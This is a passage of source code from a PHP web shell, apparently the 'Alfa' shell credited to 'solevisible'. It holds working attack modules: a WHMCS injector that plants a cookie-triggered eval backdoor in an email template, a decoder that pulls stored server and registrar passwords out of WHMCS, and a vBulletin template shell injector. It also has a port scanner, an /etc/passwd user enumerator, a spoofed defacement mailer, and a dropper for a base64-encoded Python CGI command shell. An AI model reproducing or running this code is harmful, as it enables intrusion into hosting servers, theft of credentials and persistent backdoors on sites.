ZS5waHAiLCJ3Iik7DQpmd3JpdGUoJHNvbGV2aXNpYmxlLCR4KTs='));{/php}";
2977$newin = str_replace("'","\'",$index);
2978$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
2979if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
2980{
2981mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
2982mysql_select_db($dbn) or die(mysql_error());
2983$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE id='37'";
2984$result = mysql_query($inject) or die (mysql_error());
2985$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
2986$result2 = mysql_query($create) or die (mysql_error());
2987echo '<script>alert("shell injectet :\)")</script>';
2988echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" http://target.com/whmcs/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" http://target.com/whmcs/solevisible.php \"</font></b></center><br><br>";
2989}
2990}
2991}
2992if(isset($_POST['alfa2']) && ($_POST['alfa2'] == 'decoder'))
2993{
2994function decrypt ($string,$cc_encryption_hash)
2995{
2996$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
2997$hash_key = _hash ($key);
2998$hash_length = strlen ($hash_key);
2999$string = base64_decode ($string);
3000$tmp_iv = substr ($string, 0, $hash_length);
3001$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
3002$iv = $out = '';
3003$c = 0;
3004while ($c < $hash_length)
3005{
3006$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
3007++$c;
3008}
3009$key = $iv;
3010$c = 0;
3011while ($c < strlen ($string))
3012{
3013if (($c != 0 AND $c % $hash_length == 0))
3014{
3015$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
3016}
3017$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
3018++$c;
3019}
3020return $out;
3021}
3022function _hash ($string)
3023{
3024if (function_exists ('sha1'))
3025{
3026$hash = sha1 ($string);
3027}
3028else
3029{
3030$hash = md5 ($string);
3031}
3032$out = '';
3033$c = 0;
3034while ($c < strlen ($hash))
3035{
3036$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
3037$c += 2;
3038}
3039return $out;
3040}
3041echo "<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=\"\";</script>
3042<center>
3043<FORM action='' method='post' onsubmit=\"g('Whmcs',null,this.form_action.value,'decoder',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
3044<input type='hidden' name='form_action' value='2'>
3045<table border=1>
3046<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">De</font><font color=\"#FF0000\">Coder</font><font color=\"#FFFF01\"> ==</font></b></center><br>
3047<tr><td><font color=\"#FFFFFF\"><b>db_host : </b></font></td><td><input type='text' size='50' name='db_host' value='localhost'></td></tr>
3048<tr><td><font color=\"#FFFFFF\"><b>db_username : </b></font></td><td><input type='text' size='50' name='db_username' value=''></td></tr>
3049<tr><td><font color=\"#FFFFFF\"><b>db_password : </b></font></td><td><input type='text' size='50' name='db_password' value=''></td></tr>
3050<tr><td><font color=\"#FFFFFF\"><b>db_name : </b></font></td><td><input type='text' size='50' name='db_name' value=''></td></tr>
3051<tr><td><font color=\"#FFFFFF\"><b>cc_encryption_hash : </b></font></td><td><input type='text' size='50' name='cc_encryption_hash' value=''></td></tr>
3052</table>
3053<INPUT class=submit type='submit' value='>>' name='Submit'>
3054</FORM>
3055</center>";
3056if($_POST['alfa1'] == 2 && $_POST['alfa3'])
3057{
3058$db_host=($_POST['alfa7']);
3059$db_username=($_POST['alfa3']);
3060$db_password=($_POST['alfa4']);
3061$db_name=($_POST['alfa5']);
3062$cc_encryption_hash=($_POST['alfa6']);
3063echo '<br><pre id="strOutput" style="margin-top:5px" class="ml1"><br>';
3064$link=mysql_connect($db_host,$db_username,$db_password) or die(mysql_error());
3065mysql_select_db($db_name,$link) ;
3066$query = mysql_query("SELECT * FROM tblservers");
3067$num = mysql_num_rows($query);
3068if ($num > 0){
3069for($i=0; $i <=$num -1; $i++){
3070$v = mysql_fetch_array($query);
3071$ipaddress = $v['ipaddress'];
3072$username = $v['username'];
3073$type = $v['type'];
3074$active = $v['active'];
3075$hostname = $v['hostname'];
3076echo("<center><table border='1'>");
3077$password = decrypt ($v['password'], $cc_encryption_hash);
3078echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
3079echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
3080echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
3081echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
3082echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
3083echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
3084echo "</table><br><br></center>";
3085}
3086$query1 = mysql_query("SELECT * FROM tblregistrars");
3087$num1 = mysql_num_rows($query1);
3088if ($num1 > 0){
3089for($i=0; $i <=$num1 -1; $i++){
3090$v = mysql_fetch_array($query1);
3091$registrar = $v['registrar'];
3092$setting = $v['setting'];
3093$value = decrypt ($v['value'], $cc_encryption_hash);
3094if ($value=="") {
3095$value=0;
3096}
3097echo("<center>Domain Reseller <br><center>");
3098echo("<center><table border='1'>");
3099echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
3100echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
3101echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
3102echo "</table><br><br></center>";
3103}
3104}
3105}
3106}
3107}
3108echo "</div>";
3109alfafooter();
3110}
3111function alfaVbinject(){
3112alfahead();
3113echo '<div class=header>';
3114echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=\"\";</script>
3115<center><br><br><b><font color="#FFFF01">==</font> <font color="#00A220">vBulletin</font> <font color="#FFFFFF">Shell</font> <font color="#FF0000">Injector</font><font color="#FFFF01"> ==</font></b></font>
3116<form name="frm" action="" method="POST" onsubmit="g(null,null,this.template.value,this.lo.value,this.db.value,this.user.value,this.pass.value,this.tab.value); return false;">
3117<br>
3118<font color="#FFFFFF"><b>Inject To : </b></font><br><select size="1" name="template">
3119<option value="FAQ">faq.php</option>
3120<option value="FORUMHOME">FORUMHOME</option>
3121<option value="search_forums">search forums</option>
3122<option value="SHOWGROUPS">SHOWGROUPS</option>
3123<option value="SHOWTHREAD">showthread.php</option>
3124<option value="CALENDAR">calendar.php</option>
3125<option value="MEMBERINFO">MEMBERINFO</option>
3126<option value="footer">footer</option>
3127<option value="header">header</option>
3128<option value="headinclude">headinclude</option>
3129<option value="lostpw">lostpw</option>
3130<option value="memberlist">memberlist</option></select></p>
3131<table border=1>
3132<tr><td><font color="#FFFFFF"><b>Host : </b></font></td><td><input name=\'lo\' type=\'text\' value=\'localhost\' size=\'30\'></td></tr>
3133<tr><td><font color="#FFFFFF"><b>DataBase Name : </b></font></td><td><input type=\'text\' size=\'30\' name=\'db\' value=\'\'></td></tr>
3134<tr><td><font color="#FFFFFF"><b>User Name : </b></font></td><td><input type=\'text\' size=\'30\' name=\'user\' value=\'\'></td></tr>
3135<tr><td><font color="#FFFFFF"><b>Password : </b></font></td><td><input type=\'text\' size=\'30\' name=\'pass\' value=\'\'></td></tr>
3136<tr><td><font color="#FFFFFF"><b>Table Prefix : </b></font></td><td><input type=\'text\' size=\'30\' name=\'tab\' value=\'\'></td></tr>
3137</table>
3138<br><input type="submit" value=">>"/>
3139</form></center>';
3140if($_POST['alfa5']){
3141$code = "{\${eval(base64_decode(\'JGNvZGUgPSAnUEQ5d2FIQU5DbVZqYUc4Z0lqeDBhWFJzWlQ1VGIyeGxkbWx6YVdKc1pTQlZjR3h2WVdSbGNqd3ZkR2wwYkdVK1hHNGlPdzBLWldOb2J5QWlQQzlvWldGa1BseHVJanNOQ21WamFHOGdJanhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JpSTdEUXBsWTJodklDSThZbkkrWEc0aU93MEtaV05vYnlBaVBHTmxiblJsY2o0OFptOXVkQ0JqYjJ4dmNqMWNJbmRvYVhSbFhDSStQR0krV1c5MWNpQkpjQ0JCWkdSeVpYTnpJR2x6UEM5aVBpQThabTl1ZENCamIyeHZjajFjSW5kb2FYUmxYQ0krUEM5bWIyNTBQand2WTJWdWRHVnlQaUJjYmlJN0RRcGxZMmh2SUNJOFltbG5QanhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN0RRcGxZMmh2SUNSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRPdzBLWldOb2J5QWlQQzlqWlc1MFpYSStQQzltYjI1MFBqd3ZZVDQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNWNiaUk3RFFwbFkyaHZJQ0k4WW5JK1hHNGlPdzBLWldOb2J5QWlQR0p5UGx4dUlqc05DbVZqYUc4Z0lqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdKcFp6NDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHVJanNOQ21WamFHOGdKenhqWlc1MFpYSStQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JtRnRaVDBpZFhCc2IyRmtaWElpSUEwS2FXUTlJblZ3Ykc5aFpHVnlJajRuT3cwS0lHVmphRzhnSnp4cGJuQjFkQ0IwZVhCbFBTSm1hV3hsSWlCdVlXMWxQU0ptYVd4bElpQnphWHBsUFNJME5TSStQR2x1Y0hWMElHNWhiV1U5SWw5MWNHd2lJSFI1Y0dVOUluTjFZbTFwZENJZ0RRcHBaRDBpWDNWd2JDSWdkbUZzZFdVOUlsVndiRzloWkNJK1BDOW1iM0p0UGp3dlkyVnVkR1Z5UGljN0RRb2dhV1lvSUNSZlVFOVRWRnNuWDNWd2JDZGRJRDA5SUNKVmNHeHZZV1FpSUNrZ2V3MEtJR2xtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdEUW9uUEdJK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVWY0d4dllXUWdVM1ZqWTJWemMyWjFiR3g1SURzcFBDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwySStQR0p5UGp4aWNqNG5PeUI5RFFvZ0lDQWdJR1ZzYzJVZ2V5QmxZMmh2SUNjOFlqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBWd2lJemREUmtNd01Gd2lQand2WWo0TkNqeGljajQ4WW5JK0p6c2dmUTBLSUgwTkNqOCtEUW84WTJWdWRHVnlQanh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNk16QndlRHNpUGp4emNHRnVJSE4wZVd4bFBTSmlZV05yWjNKdmRXNWtPaUIxY213b0puRjFiM1E3YUhSMGNEb3ZMM1Z3TG1seVlXNHRkR0ZzYXk1cGNpOTFjR3h2WVdSekx6RXpNekUxTnpFeE5Ea3pMbWRwWmlaeGRXOTBPeWtnY21Wd1pXRjBMWGdnYzJOeWIyeHNJREFsSURBbElIUnlZVzV6Y0dGeVpXNTBPeUJqYjJ4dmNqb2djbVZrT3lCMFpYaDBMWE5vWVdSdmR6b2dPSEI0SURod2VDQXhNM0I0T3lJK1BITjBjbTl1Wno0OFlqNDhZbWxuUG5OdmJHVjJhWE5wWW14bFFHZHRZV2xzTG1OdmJUd3ZZajQ4TDJKcFp6NDhMM04wY205dVp6NE5DZz09JzsgJGZwID0gZm9wZW4oInNvbGV2aXNpYmxlLnBocCIsIncrIik7IGZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgkY29kZSkpOyBoZWFkZXIoIkxvY2F0aW9uOiBzb2xldmlzaWJsZS5waHAiKTs=\'))}}{\${exit()}}&";
3142$template =$_POST['alfa1'];
3143@mysql_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5']) or die(mysql_error());
3144@mysql_select_db($_POST['alfa3']) or die(mysql_error());
3145$p = "UPDATE ".$_POST['alfa6']."template SET template ='".$code."' WHERE title ='".$template."'";
3146$ka= @mysql_query($p) or die(mysql_error());
3147if ($ka){echo"<script>alert('Shell Injected in $template')</script>";}
3148}
3149echo "</div>";
3150alfafooter();
3151}
3152function alfaportscanner(){
3153alfahead();
3154echo '<div class=header><script>alfa2_=alfa3_=alfa4_="";</script><center><br><b><font color="#FFFFFF">Port Scaner<font></b><br>
3155<br><br><form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
3156<input type="hidden" name="y" value="phptools">
3157<b><font color="#00A220"> Host: <br /><br />
3158<input id="text" type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br /><br />
3159<b><font id="text" color="#FFFFFF"> Port start: <br />
3160<input id="text" type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br /><br />
3161<b><font color="#FF0000"> Port end: <br />
3162<input id="text" type="text" style="color:#FF0000;background-color:#000000" name="end" value="1000"/><br /><br />
3163<input type="submit" value=">>" />
3164</form></center><br><br>
3165';
3166$start = strip_tags($_POST['alfa2']);
3167$end = strip_tags($_POST['alfa3']);
3168$host = strip_tags($_POST['alfa4']);
3169if(isset($_POST['alfa4']) && is_numeric($_POST['alfa3']) && is_numeric($_POST['alfa2'])){
3170echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br/>';
3171for($i = $start; $i<=$end; $i++){
3172$fp = @fsockopen($host, $i, $errno, $errstr, 3);
3173if($fp){
3174echo "<center>Port <font style='color:#DE3E3E'>$i</font> is <font style='color:#64CF40'>open</font></br></center>";
3175}
3176flush();
3177}
3178}
3179echo '</div>';
3180alfafooter();
3181}
3182function alfabasedir(){
3183alfahead();
3184echo '<div class=header>';
3185($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
3186set_time_limit(0);
3187@$passwd = fopen('/etc/passwd','r');
3188if (!$passwd) { die('<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>'); }
3189$pub = array();
3190$users = array();
3191$conf = array();
3192$i = 0;
3193while(!feof($passwd))
3194{
3195$str = fgets($passwd);
3196if ($i > 35)
3197{
3198$pos = strpos($str,':');
3199$username = substr($str,0,$pos);
3200$dirz = '/home/'.$username.'/public_html/';
3201if (($username != ''))
3202{
3203if (is_readable($dirz))
3204{
3205array_push($users,$username);
3206array_push($pub,$dirz);
3207}
3208}
3209}
3210$i++;
3211}
3212echo '<br><br>';
3213echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($users)." entrys in /etc/passwd\n"."<br /></font></b>";
3214echo "<b><font color=\"#FFFFFF\">[+] Founded ".sizeof($pub)." readable public_html directories\n"."<br /></font></b>";
3215echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...\n\n"."<br /><br /><br /></font></b>";
3216foreach ($users as $user)
3217{
3218$path = "/home/$user/public_html/";
3219echo "<form method=post onsubmit='g('FilesMan',this.c.value,\"\");return false;'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class='foottable' type=text name=c value='$path'><input type=submit value='>>'></form><br>";
3220}
3221echo '<br><br></b>';
3222echo '</div>';
3223alfafooter();
3224}
3225function alfamail(){
3226alfahead();
3227echo '<div class=header><br><br>';
3228echo '
3229<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_="";</script>
3230<center><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,this.mail_send.value,this.mail_content.value); return false;">
3231<table border=1>
3232<tr>
3233<td>
3234<font color="#00A220"><b>mail to : </b></font></td><td><input placeholder="target" size="30" type="text" name="mail_to" />
3235</td>
3236</tr>
3237<tr>
3238<td>
3239<font color="#ffffff"><b>from : </b></font></td><td><input type="text" size="30" placeholder="solevisible@gmail.com" name="mail_from" />
3240</td>
3241</tr>
3242<tr>
3243<td>
3244<font color="#FF0000"><b>subject : </b></font></td><td><input type="text" size="30" value="your site hacked by me" name="mail_subject" />
3245</td>
3246</tr>
3247</table><br>
3248<textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea>
3249<br><input type="submit" value=">>" name="mail_send" />
3250</form></center><br><br></div>';
3251alfafooter();
3252if(isset($_POST['alfa4']) && ($_POST['alfa4'] == '>>'))
3253{
3254$mail_to = $_POST['alfa1'];
3255$mail_from = $_POST['alfa2'];
3256$mail_subject = $_POST['alfa3'];
3257$mail_content = $_POST['alfa5'];
3258if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
3259{ echo '<script>alert(\'mail sended\')</script>'; }
3260else echo '<script>alert(\'failed\')</script>';
3261}
3262}
3263function alfaziper(){
3264alfahead();
3265echo '<div class=header>';
3266if (class_exists('ZipArchive')){
3267echo '
3268<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_="";</script>
3269<center>
3270<br /><br />
3271<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,this.ziper.value);return false;" method="post">
3272<font color="#FFFFFF"><b>Dir:</b> </font> <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['cwd']).'" size="60"/><br /><br />
3273<font color="#FFFFFF"><b>Save Dir: </b></font><input type="text" name="zipfile" value="alfa.zip" size="60"/><br /><br />
3274<input type="submit" value=">>" name="ziper" /> <br /><br />
3275</form></center>
3276';
3277$code = base64_decode('ICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRzb3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaSVBBUkNISVZFOjpDUkVBVEUpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCByZWFscGF0aCgkc291cmNlKSk7DQoNCiAgICBpZiAoaXNfZGlyKCRzb3VyY2UpID09PSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7DQoNCiAgICAgICAgICAgIC8vIElnbm9yZSAiLiIgYW5kICIuLiIgZm9sZGVycw0KICAgICAgICAgICAgaWYoIGluX2FycmF5KHN1YnN0cigkZmlsZSwgc3RycnBvcygkZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkgKQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAkZmlsZSA9IHJlYWxwYXRoKCRmaWxlKTsNCg0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZSAuICcvJywgJycsICRmaWxlIC4gJy8nKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmIChpc19maWxlKCRmaWxlKSA9PT0gdHJ1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSBpZiAoaXNfZmlsZSgkc291cmNlKSA9PT0gdHJ1ZSkNCiAgICB7DQogICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHppcC0+Y2xvc2UoKTs=');
3278if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>'))
3279{
3280$newfunc = create_function('$source,$destination', $code);
3281$dirzip = $_POST['alfa3'];
3282$zipfile = $_POST['alfa4'];
3283if($newfunc($dirzip, $zipfile)){
3284echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b><b><font color="#FFFF01">==</font> <font color="#00A220">File or</font> <font color="#FFFFFF">Directory</font> <font color="#FF0000">Ziped</font><font color="#FFFF01"> ==</font></b>
3285</b></center>';
3286}else {echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b>ERROR!!!...</b><center><br><br>';}
3287}
3288}
3289else {
3290echo '
3291<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_="";</script>
3292<center>
3293<br /><br />
3294<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,this.ziper.value);return false;" method="post">
3295Dir: <input type="text" name="dirzip" value="'.htmlspecialchars($GLOBALS['cwd']).'" size="60"/><br /><br />
3296Save Dir: <input type="text" name="zipfile" value="alfa.zip" size="60"/><br /><br />
3297<input type="submit" value=">>" name="ziper" /> <br /><br />
3298</form></center>
3299';
3300if(isset($_POST['alfa5']) && ($_POST['alfa5'] == '>>'))
3301{
3302$dirzip = trim($_POST['alfa3']);
3303$zipfile = trim($_POST['alfa4']);
3304if(exec("zip -r $zipfile $dirzip")){
3305echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b><center><b><b><font color="#FFFF01">==</font> <font color="#00A220">File or</font> <font color="#FFFFFF">Directory</font> <font color="#FF0000">Ziped</font><font color="#FFFF01"> ==</font></b>
3306</b></center></b></center><br><br>';
3307}else {echo '<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b>ERROR!!!...</b><center><br><br>';}
3308}
3309}
3310echo '</div>';
3311alfafooter();
3312}
3313function alfacgipython()
3314{
3315alfahead();
3316echo '<div class=header>';
3317mkdir('cgipy',0755);
3318chdir('cgipy');
3319$solevisible7 = '.htaccess';
3320$solevisible6 = "$solevisible7";
3321$solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
3322$solevisible5 = 'AddHandler cgi-script .izo';
3323fwrite ( $solevisible4 ,$solevisible5 ) ;
3324fclose ($solevisible4);
3325$solevisible3 = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
3326IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
3327b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
3328cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
3329ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
3330Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
3331Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
3332YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
3333ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
3334IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
3335OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
3336dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
3337dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
3338b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
3339IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
3340aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
3341c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
3342NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
3343PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
3344VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
3345IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
3346cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
3347IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
3348aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
3349dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
3350Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
3351d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
3352aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
3353ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
3354XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
3355W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
3356cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
3357PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
